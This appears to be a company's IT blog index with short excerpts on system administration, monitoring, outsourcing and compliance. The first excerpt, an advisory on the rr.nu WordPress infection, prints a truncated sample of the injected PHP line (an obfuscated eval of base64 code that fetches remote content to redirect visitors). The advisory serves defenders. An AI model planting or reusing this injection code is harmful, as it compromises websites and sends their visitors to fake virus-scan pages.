    Symptoms of the rr.nu Wordpress Virus: Wordpress-based websites infected with the virus are redirecting visitors to a fake virus-scan website. The URL looks like http://*.rr.nu. When you check the files on your server, the following line is inserted into your .php files, such as wp-config.php: <?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz ZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGl vbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD 0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJ GNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0 dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWx zZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbn RlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7a WYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRy eWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR 1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLC R1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b 3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwg... Solution: Remove all instances of the...
  • Test Management 101 – Why Developers Are Not Sufficient to Fully Test Your Project
    March 5, 2012
    Your developers have been working on your latest software project. The hours have been long, the going a little rough, and they're just about finished in more ways than one. Now it's time to verify that the application works. Are you thinking of asking your developers to do a...
  • Five Steps to Take if Your IT Outsourcing Agreement Goes South
    February 29, 2012
    IT outsourcing relationships can be fraught with challenges, ranging from communications breakdowns between client and provider to issues surrounding performance. If an IT outsourcing agreement isn’t meeting your company’s expectations (e.g. SLA targets are missed; anticipated cost savings haven’t materialized), here are five steps your decision makers can take...
  • Distinguishing Between Virtual Teams and IT Outsourcing
    February 27, 2012
    One of the benefits of an IT outsourcing partnership is that it can offer companies the option of working with virtual teams who can help support different types of IT and business operations, regardless of the locations of the workers. Teams and team members who work in different geographic...
  • How to Setup License Statistics Free Version
    February 27, 2012
    Software asset management tools, particularly license usage and monitoring software are gaining more and more interest among large corporations. It should come as no surprise since by utilizing such tools they stand to gain upwards to 10% in cost reductions and that could add up to thousands of dollars...
  • Software Development Using Kanban
    February 17, 2012
    Software Development Using Kanban The SPK development team engages with customers utilizing agile principals. This typically means incremental sprint deliveries of code as part of a scrum model. At a recent engagement, we employed an interesting variation of this called Kanban. We invite you to download our paper on the...
  • Security basics with IPTables
    February 16, 2012
    When on the internet, there's always concerns of security.   If you're listening on some services but not others, you need to modify the Linux firewall to allow this.  Also, if there's undesirable clients accessing ports and hacking, IPTables is an effective way to keep them at bay.   Here's a few...
  • Oracle Database Cloning Made Easy
    February 14, 2012
    As a systems integrator, I spend my time behind a variety of applications every day.  Each of these applications stores its data in some type of database.  The most common databases I deal with are typically MySQL, Oracle, DB2, Postgres, and MS SQL Server. As such, I'm going to admit...
  • Bad Changeset Management, Release Management Can Be Disastrous for Your Company
    February 13, 2012
    The core activities of configuration management (i.e. changeset management and release management) are essential to control the changes made to a system and to administer the release of its different versions. However getting it wrong damages your brand, customer confidence and ultimately your business. Changeset Management All software systems change but...
  • Using inSSIDer to be a good wireless neighbor
    February 7, 2012
    Have you ever noticed that the wireless neighborhood is seemingly always located in the bad part of town? This is especially true in the crowded wasteland of the 2400 block of Megahertz Ave. Where might you find this undesirable neighborhood? Unfortunately, the answer is found in most...
  • Integrating Meld with Git under Linux
    January 27, 2012
    Have you ever used Git? Git has quickly grown to become one of today's most popular source code management solutions for software engineering projects large, small, professional and personal. Developed by Linus Torvalds, Git is classified as a “distributed version control system (DVCS) with an emphasis on...
  • Five Reasons to Outsource Compute Farm and Server Management
    January 27, 2012
    The paradigm of computing resource configurations have changed several times of the last 40 years. From mainframes to mini computers, through desktops and file servers to server farms, software as a service and the cloud. Any company that uses server farms or engineering compute farms needs to manage those machines...
  • DIACAP and Gold Disk: What about Windows 7?
    January 25, 2012
    This post is in response to David’s excellent post about Gold Disk. I recently performed some DIACAP Compliance testing using Gold Disk on one of our products, which was built on Windows XP Embedded.  That process is fairly straightforward, even though Gold Disk is somewhat clunky (no search function) but...
  • 4 Reasons to Use Static Analysis on Your Codebase
    January 20, 2012
    All of us who work in software development want the products that we release to be high quality, and also low cost to maintain in the field. This is no big revelation; it’s common knowledge, and it’s common sense. It’s not clear that there is any silver bullet in...
  • FlexPOD for Infrastructure as a Service
    January 12, 2012
    The other day, I went to a presentation of FlexPOD and was impressed.   FlexPOD is a collaboration of efforts from Cisco, VMWare, and NetApp.   What it offers is a highly flexible framework to grow IT datacenters they are calling Infrastructure as a service (IIAS).  If you haven’t looked into it,...
  • How Code Reviews Reduce SDLC Costs
    January 10, 2012
    Bugs can be introduced anywhere in the software development lifecycle, from the early stages (requirements gathering etc) right up to the final shipping of the project. The most expensive types of bugs to fix are those introduced earliest and fixed latest. For example, a design error that needs to...
  • How to Restore Data Using Bacula
    January 3, 2012
    Imagine (if you dare) the worst case scenario with your company's data. Double disk drive failure, all data lost. You need to recover that data as fast as possible due to deadlines. You've been diligent about your backups using Bacula, but now they are going to be put to...
  • Top 5 IT Infrastructure Posts of 2011 from SPK's Blog
    December 30, 2011
    Today, we're bringing you a rewind of the most popular IT Infrastructure posts of 2011. Enjoy these favorites from our blog as this year winds down. Number 5 - Solve 100 Problems with a Bootable USB Flash Drive What everyday device can be used for troubleshooting 100 problems? A bootable USB flash...
  • Server Room Cooling Plan
    December 21, 2011
    With today's computers, cooling is critical.  When moving to a new site, it's necessary to ensure the new server room will meet your needs prior to move-in.   Using some quick estimation techniques, there's ways to ensure the needed power for your servers. Here's a quick overview of what I do...
  • Two Ways IT Outsourcing Can Unleash Innovation
    December 20, 2011
    One of the most frequently cited windfalls of IT outsourcing is the level of autonomy that’s created for internal IT staff who are able to devote more time and energy to pursuits aimed at benefiting the business. This includes innovative approaches to applying technology to help solve business problems...
  • Redhat vs. Ubuntu in a Corporate Environment
    December 19, 2011
    Picking a linux distribution can be an extremely daunting task.  Wikipedia lists at least several hundred of them, although many of them are targeted for very specific hardware architectures or embedded devices.  In the PC world, there are still a ton to choose from.  The most popular we tend...
  • 3 Advantages of Purchasing a VMware Solution
    December 8, 2011
    Has your organization started integrating virtual infrastructure into your overall IT services plan? If not, a quote from Star Trek may be in order, "Resistance is futile." In today’s IT world, the likelihood that your organization is running some sort of virtualization solution is really high. Virtual infrastructure has been...
  • How to Conduct System Hardening Using the Defense Information Systems Agency's (DISA) "Gold Disk"
    December 6, 2011
    Holes in your IT infrastructure can make for some awkward situations. Whether you're dealing with sensitive customer information, upcoming product designs, or simply just don't want people messing with your stuff, maintaining system integrity can be difficult. Symantec is great, but what do you do when the integrity of...
  • In the Trenches: How IT Outsourcing Makes Life Easier for R&D Engineers
    December 5, 2011
    Earlier this month we posted the second blog in a series on how IT outsourcing can deliver multiple benefits to organizations. This post will delve into the benefits to R&D Engineers. Engineers fear disruption to the organization, potential loss of jobs (including their own), power shifts, and the introduction of...
  • Why Product Lifecycle Management is Critical for Success
    December 2, 2011
    It is said that we should learn from history, but too often product management fails to take the time to learn from the mistakes of others. Product lifecycle management (PLM) isn't new, in fact it has been around (in different forms and disguises) since people started building things. However...
  • Seven Windows System Maintenance Tools in One
    December 1, 2011
    This week we're going to talk about a system tool that's really multiple tools in one. I’m referring to CCleaner, which turns out to be a veritable Swiss Army knife of tools. Here is a short list of what's included in CCleaner: Reclaim space by deleting unneeded files Manage...
  • How Engineering Pros Can Work From Home For the Holidays
    November 21, 2011
    Because the benefits are endless, I couldn't even hope to list them all, but here are a few great reasons for engineering pros (or anyone else) to work from home during the holidays: 1. It's the universal excuse to escape from household chores and awkwardly boring social situations. 2. What better...
  • Top Data Center Power Planning Considerations
    November 10, 2011
    Our Infrastructure Management Services include data center migration planning and deployment. Recently, I moved two different companies to new facilities. Both had drastically different IT needs. One was heavier on infrastructure and server room. The other was not focused so much on infrastructure as it was on phones and vendor...
  • How Bug Analysis Improves Software Engineering Postmortems.
    November 10, 2011
    Your project has released! Maybe this was the first version or iteration, or maybe it was the 10th. However, being an attentive software engineer, you're not done yet. Now it's time for the postmortem. So, you have your standard “what went right” and “what went wrong” meeting, but you...
  • Top 5 Reasons to Conduct an IT Outsourcing Re-Evaluation
    November 8, 2011
    IT outsourcing contracts, as noted in a recent blog post, should be treated as living documents -- continuously evaluated, refined, and optimized over time. Not only do business conditions continually change, but it’s also important for outsourcing customers to conduct regular health checks to determine whether the outsourcing provider...
  • How to Monitor Your APC UPS Units – Part 2
    November 4, 2011
    In part 1 of this series, I introduced the APCUPSD software package which allows you to monitor APC UPS units. As we head into the winter months, having a functioning UPS is critical for your infrastructure. Just as critical as the UPS itself is the ability to monitor the...
  • In the Trenches: How IT Outsourcing Makes Life Easier on IT Managers
    November 3, 2011
    In September we introduced a blog post series on how IT outsourcing can deliver multiple benefits to organizations. These gains can range from lower costs to support for an activity or function to process improvements delivered by an organization that has extensive experience in a given discipline (e.g. data...
  • The Importance of Tools Integration in the Software Development LifeCycle (SDLC)
    November 1, 2011
    This week I’d like to talk in larger conceptual terms about the Software Development LifeCycle (SDLC) process and the benefits of integrating tools associated with this process. To start off, let’s identify the four kinds of tools that are important to a fully integrated SDLC. They are:...
  • Continuous Builds - A Customer Experience
    October 31, 2011
    Software Development Lifecycle (SDLC): In our last article we discussed speeding up your build by leveraging tools such as Electric Accelerator. In this article we will discuss the process of Continuous Integration (CI) along with a customer experience utilizing Electric Commander. We invite you to download our paper on...
  • Top 5 Hottest IT Outsourcing Trends
    October 17, 2011
    As the global economy remains turbulent, corporate decisions-makers continue to remain laser-focused on cost containment and finding new ways of generating additional productivity and value to their organizations. As a result, these macro factors are shaping many of the current trends in IT outsourcing, though not all. Below are the...
  • From Out-of-Office to VPN in 15 Minutes
    October 14, 2011
    Traditionally, using a VPN (Virtual Private Network) to connect to a remote site has been a technical – and oftentimes troublesome – requirement. With the growing popularity of using “remote programmers”, I see requests for purchasing Cisco routers and Windows servers. Tiny businesses often expect VPN setup to be...
  • Taking IT Out of Corporate IT … A Response
    October 13, 2011
    There were quite a lot of comments on this site and other sites on the original post -- all by IT professionals, and almost all negative. The comments were interesting, but quite one-sided. Many people thought the article was suggesting dropping a figurative bomb on the corporate IT department...
  • How to Upgrade a DB2 Database Server from 8.2 to 9.1
    October 12, 2011
    DB2 is one of the best databases available today for the money and features. It also offers a relatively easy upgrade from 8.2 to 9.1 database versions.  The primary issue was finding which level of DB2 that other application vendors all supported. The attached article describes the steps necessary to setup...
  • The Five Most Challenging Things About Infrastructure Management
    October 6, 2011
    Infrastructure management comes with its own unique challenges whether you are managing a lab network, computer farm, load-balancing application, or a build-and-release system .  As much as people lump things into the term "information technology," every piece of "IT" is its own unique world, and it's easy to miss...
  • Accelerating Your Software Build - A Customer Experience
    September 30, 2011
    Read about one of our customer experiences in helping to accelerate their software build system.
  • How to Monitor Your APC UPS Units - Part 1
    September 29, 2011
    Picture your ideal company technological infrastructure. Servers to handle day to day tasks, servers to do engineering simulations, network equipment to handle communication, network-attached storage for your company critical data, and last but not least, uninterruptible power supplies otherwise known as UPS. It's a given that you will probably...
  • Five Reasons To Use Application Management Services
    September 21, 2011
    Application management services sounds intriguing; have a company host and run your applications, and separate your business from your infrastructure.  Anyone who's dealt with the stress of IT planning and purchasing understands the temptation to use application management. Temptations aside, the question remains: is application management for you and your...
  • Four Unavoidable Reasons To Take IT Out of Corporate IT
    September 19, 2011
    In the world of IT, solutions become problems with alarming regularity.  The new software of today is the upgrade nightmare of tomorrow.  The policies that solved problems create new ones years later. The corporate IT departments that we look to for solutions are actually becoming the problems, as Susan Cramm...
  • How to Install Software Packages Using Ninite
    September 16, 2011
    This week we want to have a look at a useful website that enables us to quickly and accurately install any of a large number of useful software packages. The website, www.ninite.com, presents a large number of current freeware packages, along with trial versions of a few others. Let’s...
  • What Happened to Google Wave? A Look at Collaboration Alternatives
    September 15, 2011
    Two years ago, Google announced a new product: Wave. Their (and I use the term loosely, since all new Google products seem to come from the same giant, faceless Googleplex) original goal was to unify messaging – have you thought about how many tools you use to communicate and...
  • How to Backup an ESXi Server with GhettoVCB
    September 12, 2011
    VMWare is wonderful for getting full utilization of scarce resource.  However, if you're on a limited budget, affording ESX clustered hosts for all needs is overkill.  Sometimes a free ESXi server is enough. In the latter, we ran into challenges doing backups.  There's a quick easy solution using GhettoVCB, a free...
  • Leveraging Netapp's Deduplication Feature
    September 2, 2011
    We recently obtained the necessary licenses required to enable one of our clients' FAS2050 filers for deduplication.  Currently, deduplication is offered by Netapp for free.  You simply need to get in touch with your reseller and request both ASIS licenses and Nearstore licenses.  The Nearstore license for FAS should...
  • In The Trenches: A Look At The Benefits of IT Outsourcing
    September 1, 2011
    IT outsourcing has become prominent in nearly every area of the economy -- to the point that its benefits are taken for granted.  We're aware of the saving of money, of cloud technology providing cost effective high availability infrastructure, and so forth.  The reasons to outsource IT services are...
  • How to Setup a Local Redhat 5 Update Repository
    September 1, 2011
    In a previous post, my colleague Mike described how to setup a Redhat 4 (RHEL4) local update repository. With Redhat 5 (RHEL5), the procedure to setup a local repository has changed somewhat. At SPK, we often will setup a local update repository for Redhat or Debian/Ubuntu-based Linux servers as...
  • Using Unix and Windows Groups with ClearCase
    August 23, 2011
    In this week’s blog entry, we want to have a look at how Unix and Windows groups work together in a mixed Unix/Windows environment. This topic can sometimes be a bit confusing, and here we hope to contribute to clarifying the subject. Many companies and development teams...
  • Solve 100 Problems with a Bootable USB Flash Drive
    August 22, 2011
    Unlike using MultiBootISO, which required experimentation and custom linux-configuration for each tool, setting up YUMI is a straightforward affair: Get YUMI Multiboot USB Creator from Pendrivelinux.com. Download the Internet! You can go crazy with your office’s bandwidth, or you can be conservative with just this list of downloads. Of note, you...
  • WebInject Scripting to Perform Advanced Monitoring
    August 19, 2011
    Nagios is a wonderful tool. However, there are limits to what you can do with it directly. As my colleague Brad discussed in a recent blog post, using NRPE is a powerful tool for Windows. For complicated web checks that require multi-step operation,...
  • How to setup basic Windows monitoring with Nagios
    August 4, 2011
    In my previous blog post, I talked about how to setup NSClient++ for Windows which is very solid Nagios NRPE client. In this post, I'll describe how to setup some basic checks for your Windows server within Nagios and hopefully give you some ideas on what you should be...
  • A Review of FDA 483 Observations - Top Med Device Issues Sited & Proper Response
    August 3, 2011
    This article reviews what an FDA 483 Observation looks like, some of the more common issues flagged in medical device companies, and how to respond.
  • One-click Installer for PADS Flow 9.3 and Update1
    July 29, 2011
    Everyone loves a one-click installer, but setting this up can be a headache, especially when a company changes the way this is done. You can setup your installation script to install both PADS9.3 and PADS9.3_update1 with a double-click of the mouse! Here are the first few steps on getting this...
  • Installing and Configuring Rational 8.1.1 RLKS and LKAD
    July 28, 2011
    This week’s posting deals with Rational licensing on the Windows platform. We are going to have a look at setting up a Windows Rational license server and how to configure it. It also turns out that with the arrival of Rational 7.1.2, a new version of the...
  • 5 Things You Can Do To Make Your Software More Attractive To Medical Device Companies
    July 13, 2011
    Improve Your Ability to Sell Software into Medical Device Companies - In this paper we will share five things you can do to make your software application more attractive to medical device companies.
  • How to monitor Windows servers using Nagios and NSClient
    July 12, 2011
    One of the best monitoring software packages available for system administrators is Nagios. It's free, open source, has a large community of developers and users for support and can be relied upon to provide outstanding monitoring for mission critical devices. As part of our infrastructure management service, SPK uses Nagios...
  • Creating IBM Rational 7.0.x Patch Install Areas
    July 11, 2011
    This week we take up the topic of creating IBM Rational patch install areas for pre-7.1 versions. As we have discussed in previous weeks, there are a number of tools in Rational 7.1 and beyond that introduce much automation into patch management. However, there are still many installations out...
  • Network Monitoring with Cacti
    June 30, 2011
    In my initial blog post, I explained a little bit about Nagios, and how it can be configured to monitor any networking device or server.  Nagios' basic operation is this: Define a check Execute the check at a specified interval Take the result of the check and determine whether it maps to...
  • License Management and Monitoring using X-Formation License Statistics
    June 13, 2011
    Over the past year, I have been doing a lot of work with clients who use high-end CAD and/or EE software tools from respected vendors like Cadence, Synopsys, and Mentor Graphics. The majority of these software tools require a license server to be setup on your local network, and...
  • Static Analysis: Improving Quality by Finding Coding Issues As Soon As Possible
    June 9, 2011
    Many companies utilize static analysis tools in some fashion. However, we often find they are not leveraging them to their fullest potential. At SPK and Associates, we believe in driving quality up front, at the Engineering Desktop, and not relying solely on finding issues during QA verification and...
  • Running Pro/INTRALINK 3.4 on Windows 7, 64-bit
    June 6, 2011
    I recently came across a forum post asking for advice on the combination of running Pro/Intralink 3.4 on Windows 7 64-bit. In short, I’m happy to report that we’ve been using this combination without incident: Microsoft Windows 7 Professional 64-bit SP1, PTC Pro/INTRALINK 3.4 build M062, and PTC Pro/ENGINEER...
  • Creating a low cost, high performance ESX cluster
    June 3, 2011
    As Senior Systems Integrator for SPK and Associates, a California based IT services company specializing in infrastructure management services, I recently completed an interesting project.  The goal was to create an ESX cluster for a small engineering group (about 40 users).  The cluster would be used for a wide...
  • Using Rational Response Files to Install ClearCase and ClearQuest
    May 27, 2011
    This week we continue on the topic of installing using IBM Installation Manager.  But with a bit of a difference.  Instead of bringing up the IM install GUI and using it to conduct the installation, we will take a step toward greater installation automation and create what is known...
  • How to setup a weekly backup job with Bacula
    May 16, 2011
    In my last post, I gave an overview of Bacula, the enterprise-level free backup software. For this post I wanted to dig into the software a bit more and show how simple it is to setup a weekly backup job. One of the first things we do at SPK when...
  • Design Output: A Review of 21 C.F.R. §820.30(d) and FDA Warning Letter Trends
    May 11, 2011
    Design Output: A Review of 21 C.F.R. §820.30(d) and FDA Warning Letter Trends
  • How to Create Google Charts with Python
    May 9, 2011
    The goal of a typical system administrator is to get a job or task done as quickly as possible, without worrying about how elegant a solution might be.  Reusing any existing scripts, tools, or utilities are always the first line in tackling the job.  Often times, the job involves...
  • Using IBM Rational Packaging Utility
    May 3, 2011
    In this post, we talk about how to use IBM Rational Packaging Utility along with Installation Manager to first create an installation package containing multiple products (in this case ClearCase and ClearQuest 7.1.2, and License Key Administrator 8.1.1). Then we will install all three software packages from the...
  • Reverse Proxy Configurations
    April 27, 2011
    Now it's time to look at some of the server side configurations. The first step is to configure reverse proxy for the HTTP services. These services live on hosts that sit in the DMZ. A proxy is very simple to configure and allows a lot of flexibility to grow over time in...
  • CAPA: A Review of 21 C.F.R. §820.100 and FDA Warning Letter Trends
    April 18, 2011
    SPK and Associates routinely review warning letters to help our clients stay in step with FDA trends.   One of the problem areas most often cited in company audits continue to be the CAPA system/program.   This month we will take a look at some of the latest FDA Warning Letter ...
  • Enterprise Backup - Using Bacula to save time and money!
    April 14, 2011
    One of the main areas SPK focuses on for our clients is backups. I won’t go into a long lecture about why backups are mission-critical for your business because you already know they are. Even the standard backup schemes, such as Grandfather-Father-Son, have been written about and documented quite...
  • How to Keep Your Linux Servers Up to Date
    April 7, 2011
    One of the most important aspects of our Linux server management service is operating system patching. With Windows, Microsoft has made this trivial by means of the Windows Update utility. Microsoft is the single source of the patches, and assuming that the patches install correctly, things are pretty seamless. However, in...
  • Using Windows ClearCase Variables - CLEARCASE_PRIMARY_GROUP and CLEARCASE_GROUPS
    April 4, 2011
    Windows ClearCase has a couple of very useful environment variables - CLEARCASE_PRIMARY_GROUP and CLEARCASE_GROUPS.  These variables can be a bit confusing at first blush, but they turn out to be rather important for controlling access to VOB elements, and creating new elements. Arm yourself with this ClearCase administrator knowledge about...
  • Deploying Exchange and Outlook 2010 Settings Using MSP, GPO, and ADMX in 15 minutes
    April 1, 2011
    Let’s be realistic: Windows users use Microsoft Office and Microsoft Office requires configuration. You’ve probably used the Microsoft Office Customization Tool to create Microsoft Software Patch (MSP) files to automate installation, but you should consider using Group Policy to deploy settings instead of the customized installer. Managing settings by...
  • Firewall HA setup with Juniper NS50s
    March 24, 2011
    One item I’ve done repeatedly while doing network consulting services is configuring high availability (HA) networks. The recommended way is Virtual Router Redundancy Protocol (VRRP). This requires that you have two firewalls for every location and they run in active/passive mode. In our case, we’re using...
  • How to Authenticate Linux Users using Active Directory
    March 21, 2011
    In my previous post regarding wireless security, I mentioned that a single source of authentication for users is the most ideal in a corporate environment. The advantages of using one source for authentication are vast. One of the biggest advantages is that users only need to remember one password...
  • Computer System Validation: A Closer Look at 21 C.F.R. §820.70(i) and FDA Warning Letters
    March 16, 2011
    Avoiding 21 C.F.R. §820.70(i) FDA Warning Letters
  • Using the New ClearQuest Eclipse Client
    March 10, 2011
    Have you noticed that Rational ClearQuest 7.0 now comes with a new default Eclipse client? Wonder what is happening to the old Windows client and what the difference between the two is? Then this post is for you! Download the attached PDF file below to get the details. In this...
  • Network Storage - Getting the most from your filesystem
    March 10, 2011
    In my last blog entry, I mentioned that I would discuss how to roll your own network attached storage device. At first, this might sound trivial. Take any commodity PC hardware, throw a large disk in there, install linux, configure NFS, done. Not so fast, there are numerous considerations...
  • 3 Options for Network Installation and Application Management
    March 3, 2011
    It seems like every week there’s another article about “Network Installation Services” – even if we don’t realize it. I believe Apple really hit the nail on the head with their iPhone App Store, as evidenced by the copy-cat implementations in the WebOS App Catalog, Chrome  Store, and Mac...
  • Security layers on a modern website
    February 24, 2011
    Last time, we looked at a basic website design.   Now it’s time to start digging into the details around what’s really being used behind the scenes.   This time, we’ll focus on security aspects.  When a user starts their browser and connects into the website, there are many layers of...
  • Migration of Your ClearQuest User Database in 7 Steps
    February 17, 2011
    Many customers of SPK & Associates utilize the IBM/Rational suite of products.  As IBM partners we are often asked to define, configure and deploy IBM tools and processes. SPK has provided Engineering Technology Services to Medical Device companies for over 12 years. Recently one of our medical device accounts asked...
  • Leveraging Group Policy to Setup Wireless Access
    February 15, 2011
    In my last post, I introduced Clonezilla as an easy way to deploy Windows-based workstations into a corporate environment. But once a workstation enters the corporate network, what sort of policy applies to it? What sort of actions can a user take on their workstation? One powerful way to...
  • Enterprise Storage - Do you really get what you pay for?
    February 10, 2011
    In my last blog post, I touched on my experience with Network Appliance filers and remote server monitoring.  This week, I will be discussing alternative storage solutions, and how they measure up to one of the biggest players in the Network Attached Storage space. I can't recall how often I've...
  • Upgrading from ClearCase/ClearQuest 7.0 to 7.1
    February 9, 2011
    As an IT engineering expert for SPK and associates, a California based IT services company, I write blog posts on topics such as Software Configuration Management and other Engineering Applications. This week I’d like to blog about my experiences in upgrading ClearCase® and ClearQuest® (CC+CQ) from version 7.0.1.x to...
  • Which software configuration management (SCM) system is right for you?
    January 31, 2011
    At SPK and Associates we are often asked for direction with respect to versioning control systems. The management of software and related artifacts is core to your development process and a key factor in determining the operational productivity of your organization.   But where do you start?   There are...
  • How to Build a Corporate Web Infrastructure
    January 28, 2011
    As an IT professional, one question I’ve heard more than once is:   “Why do I need you – I can setup a computer, a web server, a database, etc”.    My answer varies based on the audience but essentially comes down to:  if you are entrusted with a company’s confidential...
  • 10 Step Process for Deploying User Workstations using Clonezilla
    January 24, 2011
    One of the most time-consuming tasks as an IT Administrator is setting up a new workstation for a new user. A workstation is typically a laptop these days, but could still be a traditional Windows desktop or possibly a Linux-based workstation. As part of SPK's infrastructure support service, we...
  • Defining PDM and PLM Software: Why You Want Both
    January 21, 2011
    Choosing and evaluating products for managing data is a daunting task. With the ease of access to broad, general information – which is often conflicting – getting your decision-makers and Very Important People using the same vocabulary is the first step to developing a conclusion. One of the mistakes...
  • How to Monitor NetApps with Nagios
    January 17, 2011
    I just came to the realization that I've been working with Network Appliance filers for over a decade now. They're great -- rock solid stability, an ever expanding feature set, excellent tech support, and they're certified against many enterprise applications including VMware and Oracle. In terms of remote...
  • Fred Wee, Interiors & Textiles
    January 12, 2011
    Our company needed it all: phones, server management, network acceleration, and support.  SPK has delivered in spades.  We get treated day in and day out as if we’re their most important client and it makes everything we do easier.
  • - Kristi Harris, Stryker Corporation
    December 5, 2010
    “SPK has managed our eBusiness application environment for 6 years. We completely trust their abilities and expertise and have a close working relationship with them. It simply feels like they are part of our team.”
  • - Silvia Veronese, Xambala Inc.
    December 3, 2010
    “SPK has been managing all our information technology for two years now, and we’re extremely happy with our partnership.  In addition to handling our standard IT needs, we asked them to help redesign our production network, critical to our business success.  They helped us lay the foundation for one...
  • Welcome to SPK’s New Website and Blog!
    December 1, 2010
    Welcome to SPK’s new website and blog! We’ll be posting a lot of great tech info here in the coming week and months, so be sure to subscribe or check back often. You’ll hear from everyone on our team at some point or another – which is good since...
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